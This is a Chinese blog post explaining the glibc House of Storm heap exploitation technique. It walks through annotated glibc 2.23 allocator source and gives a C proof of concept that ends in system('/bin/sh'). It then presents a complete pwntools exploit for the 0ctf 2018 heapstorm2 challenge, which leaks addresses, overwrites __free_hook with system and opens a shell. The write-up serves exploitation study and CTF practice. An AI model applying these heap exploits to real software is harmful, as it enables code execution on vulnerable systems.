house_of_storm 详解

house_of_storm

漏洞危害

House_of_storm 可以在任意地址写出chunk地址,进而把这个地址的高位当作size,可以进行任意地址分配chunk,也就是可以造成任意地址写的后果,危害十分之大。 House_of_storm 虽然危害之大,但是其条件也是非常的苛刻。

漏洞利用条件

  1. glibc版本小于2.30,因为2.30之后加入了检查
  2. 需要攻击者在 large_binunsorted_bin 中分别布置一个chunk 这两个chunk需要在归位之后处于同一个 largebin 的index中且 unsorted_bin 中的chunk要比 large_bin 中的大
  3. 需要 unsorted_bin 中的 bk指针 可控
  4. 需要 large_bin 中的 bk指针和bk_nextsize 指针可控

原理及源码分析

漏洞发生在unsorted_bin的chunk放入largebin的过程中,以下是glibc2.23的源码分析。

//#define unsorted_chunks(M)          (bin_at (M, 1))
//如果unsorted bins不为空,从尾到头遍历unsorted bin中的每个chunk
while ((victim = unsorted_chunks(av)->bk) != unsorted_chunks(av)) 
{
    bck = victim->bk;//取出unsorted的尾部的chunk
    /*
        检查当前遍历的 chunk 是否合法,chunk 的大小不能小于等于 2 * SIZE_SZ,
        也不能超过 该分配区总的内存分配量。然后获取 chunk 的大小并赋值给 size。
        这里的检查似乎有点小问题,直接使用了 victim->size,但 victim->size 
        中包含了相关的标志位信息,使用 chunksize(victim) 才比较合理,但在 
        unsorted bin 中的空闲 chunk 的所有标志位都清零了,所以这里直接 
        victim->size 没有问题。
    */
    if (__builtin_expect(victim->size <= 2 * SIZE_SZ, 0)
        || __builtin_expect(victim->size > av->system_mem, 0))
        malloc_printerr(check_action, "malloc(): memory corruption",
                        chunk2mem(victim), av);

    size = chunksize(victim);//获取victim的size

	/*
        如果要申请的大小在smallbin范围 且 unsorted chunks 只有一个chunk,且
        victim是last_remainder 且 victim的size大于请求的chunk的大小nb加上
        (MINSIZE)最小chunk的size,那么就切割remainder,然后返回victim。
        
        last_remainder 是一个 chunk 指针,分配区上次分配 small chunk 时,
        从一个 chunk 中分 裂出一个 small chunk 返回给用户,分裂后的剩余部分
        形成一个 chunk,last_remainder 就是 指向的这个 chunk。
    */
    if (in_smallbin_range(nb) &&
        bck == unsorted_chunks(av) &&
        victim == av->last_remainder &&
        (unsigned long) (size) > (unsigned long) (nb + MINSIZE)) {

        //分割remainder
        remainder_size = size - nb;//计算分割后剩下的size
        remainder = chunk_at_offset(victim, nb);//获取remainder的地址
        //把remainder加入unsorted bin中
        unsorted_chunks(av)->bk = unsorted_chunks(av)->fd = remainder;
        av->last_remainder = remainder; // 设置last_remainder为remainder
        remainder->bk = remainder->fd = unsorted_chunks(av);
        //如果是remainder在large bin的范围,则把fd_nextsize,fd_nextsize清零
        if (!in_smallbin_range(remainder_size)) {
            remainder->fd_nextsize = NULL;
            remainder->fd_nextsize = NULL;
        }
		//设置victim的size
        set_head(victim, nb | PREV_INUSE |
                 (av != &main_arena ? NON_MAIN_ARENA : 0));
        //设置remainder的size
        set_head(remainder, remainder_size | PREV_INUSE);
        //设置remainder的物理相邻的下一个chunk的prev_size
        set_foot(remainder, remainder_size);

        check_malloced_chunk(av, victim, nb);//默认不做任何操作
        void *p = chunk2mem(victim);//将chunk指针转化为mem指针
        alloc_perturb(p, bytes);//将p的mem部分全部设置为bytes ,默认什么也不做
        return p;
    }


    //把victim从unsorted bin 中移除
    unsorted_chunks(av)->bk = bck;
    bck->fd = unsorted_chunks(av);

    //如果 victim 的size 与申请的size相等,那么就返回其。
    if (size == nb) {
        //设置victim物理相邻的下一个chunk的prev_inuse位
        set_inuse_bit_at_offset(victim, size);
        //如果av不是main_arena 也就是说如果不是主进程,设置NON_MAIN_ARENA位
        if (av != &main_arena)
            victim->size |= NON_MAIN_ARENA; 

        check_malloced_chunk(av, victim, nb); // 默认不做任何操作
        void *p = chunk2mem(victim);//把chunk转换为mem指针
        alloc_perturb(p, bytes);//将p的mem部分全部设置为bytes ,默认什么也不做
        return p;
    }

  
    //如果上一步取出的chunk没有匹配成功,那么将该chunk放入对应的bin中
    //如果在smallbin的范围,则放到对应多small bin中
    if (in_smallbin_range(size)) 
    {
        victim_index = smallbin_index(size);//获取size对应的smallbin的index
        bck = bin_at(av, victim_index);//bck指向size对应的smallbin的链表头
        //fwd指向size对应的smallbin的链表中的新加入的chunk(small bin使用头插法)
        fwd = bck->fd;
    }
    else//如果不再smallbin的范围,也就是说在large bin 的范围
    {
        victim_index = largebin_index(size);//获取size对应的large bin的index
        bck = bin_at(av, victim_index);//bck指向size对应的large bin的链表头
        fwd = bck->fd;//fwd指向size对应的large bin的链表中的新加入的chunk
        
        //如果large bin 非空,在largbin进行按顺序插入
        if (fwd != bck) {
            /* Or with inuse bit to speed comparisons */
            size |= PREV_INUSE;
            assert((bck->bk->size & NON_MAIN_ARENA) == 0);//默认不启用assert
            /*
            	large bin中的chunk是按从大到小排列的,如果size < large bin 
            	的最后一个chunk,说明size是这个large bin中的最小的,我们把它
            	加入到此large bin尾部。
            */
            if ((unsigned long) (size) < (unsigned long) (bck->bk->size)) {
                
                fwd = bck;
                bck = bck->bk;
                
                /*
                large bin 中size最小的chunk的fd_nextsize会指向size最大的
                那个chunk,也就是首部的chunk。同样,large bin 中size最大的
                chunk的bk_nextsize会指向size最小的那个chunk。
                victim的bk_nextsize指向large bin原来最小的chunk,它的
                bk_nextsize指向最大的那个chunk。那么原来的最小的就成了第二小的了。
                把它fd_nextsize和bk_nextsize都修正。
                */
                victim->fd_nextsize = fwd->fd;
                victim->bk_nextsize = fwd->fd->bk_nextsize;
                //最大size的chunk的bk_nextsize,和原来最小chunk的bk_nextsize都指向victim
                fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
            } 
            else //如果victim不是large bin 中最小的chunk
            {
                assert((fwd->size & NON_MAIN_ARENA) == 0);//默认不启用assert
                //从大到小(从头到尾)找到合适的位置
                while ((unsigned long) size < fwd->size) {
                    fwd = fwd->fd_nextsize;
                    assert((fwd->size & NON_MAIN_ARENA) == 0);
                }
				//如果size刚好相等,就直接加入到其后面省的改fd_nextsize和bk_nextsize了
                if ((unsigned long) size == (unsigned long) fwd->size)
                    fwd = fwd->fd;
                else 
                {
                    //size不相等,即size>fwd->size,把victim加入到纵向链表中
                    victim->fd_nextsize = fwd;
                    victim->bk_nextsize = fwd->bk_nextsize;
                    fwd->bk_nextsize = victim;
                    victim->bk_nextsize->fd_nextsize = victim;
                }
                bck = fwd->bk;
            }
        } 
        else //如果large bin 为空,将victim加入到纵向列表
        	victim->fd_nextsize = victim->bk_nextsize = victim;
    }

    //#define mark_bin(m, i)    ((m)->binmap[idx2block (i)] |= idx2bit (i))
    mark_bin(av, victim_index); //把victim加入到的bin的表示为非空
    //把victim加入到large bin的链表中
    victim->bk = bck;
    victim->fd = fwd;
    fwd->bk = victim;
    bck->fd = victim;
}

我们把关键部分拿出来再来看一看,我了方便看部分代码有改动,我们将unsorted_chunk

//我们控制unsorted_chunk->bk = fake_chunk

//unsorted_chunks(av)->bk = fake_chunk
unsorted_chunks(av)->bk = unsorted_chunk->bk;
//fake_chunk+0x10 = unsorted_bin
bck->fd = unsorted_chunks(av);
            else 
            {
                /*
                	如果unsorted_chunk->size 大于 largbin_chunk->size,
                	把unsorted_chunk加入到纵向链表中
                	我们控制
                	large_chunk->bk = fake_chunk+0x8 
                	large_chunk->bk_nextsize=fake_chunk-0x18-5	
                */
                
                 
                unsorted_chunk->fd_nextsize = largbin_chunk;
                
                //unsorted_chunk->bk_nextsize = fake_chunk-0x18-5
                unsorted_chunk->bk_nextsize = largbin_chunk->bk_nextsize;
                
                largbin_chunk->bk_nextsize = unsorted_chunk;
                
                //fake_chunk+0x3 = unsorted_chunk
                unsorted_chunk->bk_nextsize->fd_nextsize = unsorted_chunk;
            }
			//bck  = fake_chunk+0x8
            bck = largbin_chunk->bk;
        }
    } 

mark_bin(av, unsorted_chunk_index); //把unsorted_chunk加入到的bin的表示为非空
//把unsorted_chunk加入到large bin的链表中

unsorted_chunk->bk = bck;
unsorted_chunk->fd = largbin_chunk;
largbin_chunk->bk = unsorted_chunk;
//fake_chunk+0x18 = unsorted_chunk
bck->fd = unsorted_chunk;

主要改写就一下4个地方

  1. unsorted_bin->bk = fake_chunk #把fake_chunk链到了unsorted_bin中
  2. fake_chunk+0x10 = unsorted_bin #伪造fake_chunk的fd
  3. fake_chunk+0x3 = unsorted_chunk #伪造fake_chunk的size
  4. fake_chunk+0x18 = unsorted_chunk #伪造fake_chunk的bk

通过以上4步,我们成功伪造一个合法的fake_chunk,满足unsorted bin的要求,并把它链到了unsorted bin中

例子

// gcc -ggdb -fpie -pie -o house_of_storm house_of_storm.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
struct {
    unsigned long  presize;
    unsigned long  size;
    unsigned long  fd;
    unsigned long  bk;
    unsigned long  fd_nextsize;
    unsigned long  bk_nextsize;
}chunk;

int main()
{
    unsigned long *large_chunk,*unsorted_chunk;
    unsigned long *fake_chunk = (unsigned long *)&chunk;
    char *ptr;


    unsorted_chunk=malloc(0x418);
    malloc(0X20);
    large_chunk=malloc(0x408);
    malloc(0x20);



    free(large_chunk);
    free(unsorted_chunk);
    unsorted_chunk=malloc(0x418);  //large_chunk归位
    free(unsorted_chunk);  // unsorted_chunk归位

	//重点一下3步
    unsorted_chunk[1] = (unsigned long )fake_chunk;
    large_chunk[1]    = (unsigned long )fake_chunk+8;
    large_chunk[3]    = (unsigned long )fake_chunk-0x18-5;

    
    ptr=malloc(0x48);
    strncpy(ptr, "/bin/sh\x00", 0x10);
    system(((char *)fake_chunk + 0x10));
    
    return 0;
}

所以当我们申请的size和0x56经过对齐后相等的话,那么就可以拿到任意的chunk。

0x55 : 1010101

0x56 : 1010110

__int_malloc在拿到chunk后返回到__libc_malloc__libc_malloc会对chunk的进行检查,这里如果有错的话会直接crash,但是由于程序有随机化,多运行几次总能有一次成功的。

/*
	#define arena_for_chunk(ptr) \
    	(chunk_non_main_arena (ptr) ? heap_for_ptr (ptr)->ar_ptr : &main_arena)
    
    过以下检测需要满足的要求,只需满足一条即可
    1. victim 为 0
    2. IS_MMAPPED 为 1
    3. NON_MAIN_ARENA 为 0
*/
assert(!victim || chunk_is_mmapped(mem2chunk(victim)) 
       || ar_ptr == arena_for_chunk(mem2chunk(victim)));

0ctf_2018_heapstorm2

首先检查保护

image-20200614112746427

IDA 分析,标准的增删改查

image-20200614112815800

__init函数

  1. 禁用的fastbin
  2. 在0x133700处 mmap出了一片空间作为heaparray
  3. 读入了3个随机数,第四4个和第3个一样,我们记作r1,r2,r3,r4
  4. 初始化后面的地址,用r1异或0 作为ptr的值,r2异或0作为size值,我们之后的ptr都是通过xor r1得到的,size都是 xor r2得到的

image-20200614112858010

add函数

  1. 找到第一个size为0的,然后根据输入的size(12<size<0x1000)calloc ,然后在heaparray中填入相应的值。

image-20200614113249094

edit函数

  1. 读入的数据+12要小于等于申请时写的size,我们读入的数据会追加上一个12字节字符串再加上一个0结尾,所以存在off_by_null但是prev_size无法控制。

image-20200614113743425

delete 函数

  1. 看上去挺正常的

image-20200614114318102

show 函数

  1. 要满足r2 xor r3 = 0x13377331才可以show,所以我们要想办法控制heaparray的内容才能show

image-20200614114346397

综上:

  1. 存在 off_by_null 漏洞
  2. 申请的大小在 12~0x1000,使用的是calloc
  3. 目前不能show
  4. gibc用的是2.23

我们可以考虑使用house_of_storm,因为我们知道heaparray的地址,并且我们house_of_storm可以实现任意地址申请chunk,这样我们就能控制r3,r4的值,使得show可以使用

#coding:utf-8
from pwn import *
context.log_level = 'debug'

p = process('./0ctf_2018_heapstorm2')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')

def add(size):
    p.sendlineafter('Command: ','1')
    p.sendlineafter('Size: ',str(size))  # 12<size<0x1000


def edit(idx,content):
    p.sendlineafter('Command: ','2')
    p.sendlineafter('Index: ',str(idx))
    p.sendlineafter('Size: ',str(len(content)))
    p.sendafter('Content: ',content)



def delete(idx):
    p.sendlineafter('Command: ','3')
    p.sendlineafter('Index: ',str(idx))


def show(idx):
    p.sendlineafter('Command: ','4')
    p.sendlineafter('Index: ',str(idx))

#---------------布置chunk-------------------------#
add(0x18)#0	  off_by_null修改1的size
add(0x508)#1
add(0x18)#2
#---------------
add(0x18)#3   off_by_null修改4的size
add(0x508)#4
add(0x18)#5   
#---------------
add(0x18)#6   防止合并到top_chunk

#----------------准备 unsorted chunk-----------------------#
edit(1,'\x00'*0x4F0+p64(0x500)) #伪造chunk
delete(1)
edit(0,'\x00'*(0x18-12)) #修改chunk1的size, 0x511->0x500
add(0x18) #1 
add(0x4d8) #7    把0x500用完

delete(1)   
delete(2) #1-2 合并   这是就存在堆重叠

add(0x38)#1
add(0x4e8)#2   chunk7的content指向chunk2的chunk-0x10位置处,我们可以实现控制unsorted chunk

#-------------------准备 large chunk-----------------------------------#
edit(4,'\x00'*0x4F0+p64(0x500))#伪造chunk
delete(4)
edit(3,'\x00'*(0x18-12)) #修改chunk4的size, 0x511->0x500
add(0x18) #4
add(0x4d8) #8   把0x500用完

delete(4)
delete(5) #4-5 合并 这是就存在堆重叠

add(0x48)#4  此时unsorted bin中剩下一个0x4e1大小的chunk,且与8重叠,我们可以实现控制large chunk
#---------------unsorted chunk 和 large chunk 放到对应位置----------------------#
delete(2)
add(0x4e8) #把0x4e1的chunk放入到largebin中
delete(2)  #把0x4F1的chunk放入到unsorted bin中
#--------------修改他们是的满足条件进行 house of strom------------------------------#
fake_chunk = 0x13370800 - 0x20
payload = '\x00' * 0x10 + p64(0) + p64(0x4f1) + p64(0) + p64(fake_chunk)
edit(7, payload) #修改unsorted chunk的bk

payload = '\x00' * 0x20 + p64(0) + p64(0x4e1) + p64(0) + p64(fake_chunk+8) + p64(0) + p64(fake_chunk-0x18-5)
edit(8, payload) #修改 large chunk 的 bk 和 bk_nextsize
add(0x48)  #2  -> 0x133707e0   成功将申请到了heaparray附近
#-----------------------泄漏 libc----------------------------------#
#由于bins中的chunk的fd,bk指向libc的地址,我们先要泄漏heap的地址

payload = p64(0)*6 + p64(0x13370800)
edit(2, payload) #修改了r0~r4为0,并且修改了chunk0的地址,此时的chunk0的size非常大,因为异或的是0

payload = p64(0)*3 +p64(0x13377331)  #满足show的条件
payload += p64(0x13370800) + p64(0x1000) #chunk0
payload += p64(fake_chunk+3) + p64(8)   #chunk1
edit(0, payload) #满足show的条件

show(1)  #我们刚刚house of storm 写的地址泄漏出来
p.recvuntil("]: ")
heap = u64(p.recv(6).ljust(8, '\x00'))
success("heap:"+hex(heap))


payload  = p64(0)*3 + p64(0x13377331)#满足show的条件
payload += p64(0x13370800) + p64(0x1000) #chunk0
payload += p64(heap+0x10) + p64(8) #chunk1
edit(0, payload)

show(1) #泄漏libc地址
p.recvuntil("]: ")
malloc_hook = u64(p.recv(6).ljust(8, '\x00')) -0x58 - 0x10
libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc_base+libc.sym['__free_hook']
system = libc_base+ libc.sym['system']
success("free_hook:"+hex(free_hook))
#--------------修改 free_hook -----------------------------------#
payload  = p64(0)*4
payload += p64(free_hook) + p64(0x100)#chunk0
payload += p64(0x13370800+0x40) + p64(8)#chunk1
payload += '/bin/sh\x00'
edit(0, payload)
edit(0, p64(system))
delete(1)

p.interactive()
posted @ 2020-06-16 12:45  Rookle  阅读(1858)  评论(1编辑  收藏  举报